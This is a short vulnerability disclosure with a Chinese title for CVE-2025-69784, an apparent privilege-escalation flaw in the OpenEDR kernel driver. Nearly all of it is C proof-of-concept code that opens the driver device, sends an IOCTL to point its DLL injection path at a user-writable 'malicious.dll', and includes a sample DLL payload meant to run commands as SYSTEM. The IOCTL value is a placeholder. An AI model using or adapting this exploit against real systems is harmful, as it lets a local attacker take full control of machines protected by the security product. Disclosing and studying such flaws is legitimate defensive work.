CVE-2025-69784: OpenEDR内核驱动IOCTL接口DLL注入本地权限提升漏洞

// CVE-2025-69784 PoC - OpenEDR DLL Injection via IOCTL // This PoC demonstrates modifying DLL injection path via vulnerable IOCTL #include <windows.h> #include <stdio.h> #include <winioctl.h> // Define the IOCTL code (example - actual value may vary) #define IOCTL_MODIFY_DLL_PATH 0xDEADBEEF int main() { HANDLE hDevice; DWORD bytesReturned; char maliciousPath[] = "C:\\Users\\Public\\malicious.dll"; // Open handle to OpenEDR driver hDevice = CreateFile( "\\\\.\\\\OpenedrDevice", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Opened handle to OpenEDR driver\n"); // Modify DLL injection path to user-writable location BOOL result = DeviceIoControl( hDevice, IOCTL_MODIFY_DLL_PATH, maliciousPath, strlen(maliciousPath) + 1, NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] DLL path modified to: %s\n", maliciousPath); printf("[+] Next DLL load will execute code with SYSTEM privileges\n"); } else { printf("[-] Failed to modify DLL path. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; } // Example malicious DLL payload (malicious.c) /* #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute SYSTEM-level code here system("cmd.exe /c whoami > C:\\Users\\Public\\pwned.txt"); } return TRUE; } */